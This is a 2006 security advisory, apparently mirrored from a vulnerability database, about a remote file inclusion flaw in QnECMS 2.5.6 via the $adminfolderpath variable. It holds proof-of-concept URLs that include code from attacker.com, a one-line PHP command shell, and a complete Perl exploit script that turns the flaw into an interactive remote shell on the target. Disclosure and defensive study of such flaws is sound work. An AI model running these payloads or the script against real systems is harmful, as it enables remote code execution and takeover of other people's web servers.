Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14865
HistoryOct 31, 2006 - 12:00 a.m.

[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Vulnerability

2006-10-3100:00:00
vulners.com
18

ECHO_ADV_53$2006


[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni
Date : Oct, 9th 2006
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv53-K-159-2006.txt
Critical Lvl : Dangerous

Affected software description:


Application   : QneCMS 
version       : &lt;= 2.5.6
URL           : http://www.qnecms.co.uk/
Description :

QnECMS is a Content Management System built with accessibility from the ground-up, 
making it the most standards compliant and accessible CMS on the market.
Compliance with World Wide Web Consortium &#40;W3C&#41; Web Content Accessibility Guidelines 
&#40;WCAG&#41;and standards The administration interface of QnECMS is compliant with the World Wide Web Consortium&#39;s Web Accessibility Initiative &#40;WAI&#41; Guidelines. 
The HTML code is XHTML 1 strict and much of the presentation is done using Cascading Style Sheets &#40;CSS&#41;. All field names and field controls are explicitly linked. 

---------------------------------------------------------------------------

Proof of Concept:
~~~~~~~~~~~~~~
Vulnerable Script admin/include/headerscripts.php .

---------------headerscripts.php--------------------------------
...
// check if ctype_digit is available

if &#40;!function_exists&#40;&#39;ctype_digit&#39;&#41;&#41; {
  function ctype_digit&#40;$string&#41; {
    return &#40; is_numeric&#40;$string&#41; &amp;&amp; &#40;strpos&#40;$string, &#39;.&#39;&#41; === false&#41; &#41;;
  }
}
// safehtmlchecker class by Simon Willison
include_once&#40;$adminfolderpath.&quot;/include/safehtmlchecker.class&quot;&#41;;
// check to see if there is a contentid appended to the url
...
------------------------------------------------------------------

Variables $adminfolderpath are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files:

admin/include/footerhome.php
admin/include/footermain.php
photogallery/headerscripts.php
templates/footerhome.php
templates/footermain.php
templates/headermain.php
templates/sitemapfooter.php
templates/sitemapheader.php


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?

Solution:
~~~~~~~

- Sanitize variable $adminfolderpath on affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~~

09 - 10 - 2006 bugs found
10 - 10 - 2006 vendor contacted
30 - 10 - 2006 public disclosure

---------------------------------------------------------------------------
Shoutz:
~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,negative,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,x&#96;shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit, x16
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~

#!/usr/bin/perl
##
# QnECMS &lt;= 2.5.6 &#40;adminfolderpath&#41; Remote File Inclusion Exploit
# Bug Found &amp; code By K-159 
##
# echo.or.id &#40;c&#41; 2006
# 
##
# usage:
# perl QnECMs.pl &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;
#
# perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: &lt;?passthru&#40;$_GET[cmd]&#41;;?&gt;
#
# cmd shell variable: &#40;$_GET[cmd]&#41;;
##
# #
#Greetz: My Dearest Wife - ping, echo|staff &#40;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,negative&#41;, SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if&#40;$Path!~/http:&#92;/&#92;// || $Pathtocmd!~/http:&#92;/&#92;// || !$cmdv&#41;{usage&#40;&#41;}

head&#40;&#41;;

while&#40;&#41;
{
       print &quot;[shell] &#92;$&quot;;
while&#40;&lt;STDIN&gt;&#41;
       {
               $cmd=$_;
               chomp&#40;$cmd&#41;;

$xpl = LWP::UserAgent-&gt;new&#40;&#41; or die;
$req = HTTP::Request-&gt;new&#40;GET =&gt;$Path.&#39;admin/include/headerscripts.php?adminfolderpath=&#39;.$Pathtocmd.&#39;?&amp;&#39;.$cmdv.&#39;=&#39;.$cmd&#41;or die &quot;&#92;nCould Not connect&#92;n&quot;;

$res = $xpl-&gt;request&#40;$req&#41;;
$return = $res-&gt;content;
$return =~ tr/[&#92;n]/[Г&#402;&#8218;ВЄ]/;

if &#40;!$cmd&#41; {print &quot;&#92;nPlease Enter a Command&#92;n&#92;n&quot;; $return =&quot;&quot;;}

elsif &#40;$return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in &lt;b&gt;/&#41;
       {print &quot;&#92;nCould Not Connect to cmd Host or Invalid Command Variable&#92;n&quot;;exit}
elsif &#40;$return =~/^&lt;br.&#92;/&gt;.&lt;b&gt;Fatal.error/&#41; {print &quot;&#92;nInvalid Command or No Return&#92;n&#92;n&quot;}

if&#40;$return =~ /&#40;.*&#41;/&#41;


{
       $finreturn = $1;
       $finreturn=~ tr/[Г&#402;&#8218;ВЄ]/[&#92;n]/;
       print &quot;&#92;r&#92;n$finreturn&#92;n&#92;r&quot;;
       last;
}

else {print &quot;[shell] &#92;$&quot;;}}}last;

sub head&#40;&#41;
 {
 print &quot;&#92;n============================================================================&#92;r&#92;n&quot;;
 print &quot; *QnECMS &lt;= 2.5.6 &#40;adminfolderpath&#41; Remote File Inclusion Exploit*&#92;r&#92;n&quot;;
 print &quot;============================================================================&#92;r&#92;n&quot;;
 }
sub usage&#40;&#41;
 {
 head&#40;&#41;;
 print &quot; Usage: perl QnECMs.pl &lt;target&gt; &lt;cmd shell location&gt; &lt;cmd shell variable&gt;&#92;r&#92;n&#92;n&quot;;
 print &quot; &lt;Site&gt; - Full path to QnECMs ex: http://www.site.com/ &#92;r&#92;n&quot;;
 print &quot; &lt;cmd shell&gt; - Path to cmd Shell e.g http://www.different-site.com/cmd.txt &#92;r&#92;n&quot;;
 print &quot; &lt;cmd variable&gt; - Command variable used in php shell &#92;r&#92;n&quot;;
 print &quot;============================================================================&#92;r&#92;n&quot;;
 print &quot;                           Bug Found by K-159 &#92;r&#92;n&quot;;
 print &quot;                    www.echo.or.id #e-c-h-o irc.dal.net 2006 &#92;r&#92;n&quot;;
 print &quot;============================================================================&#92;r&#92;n&quot;;
 exit&#40;&#41;;
 }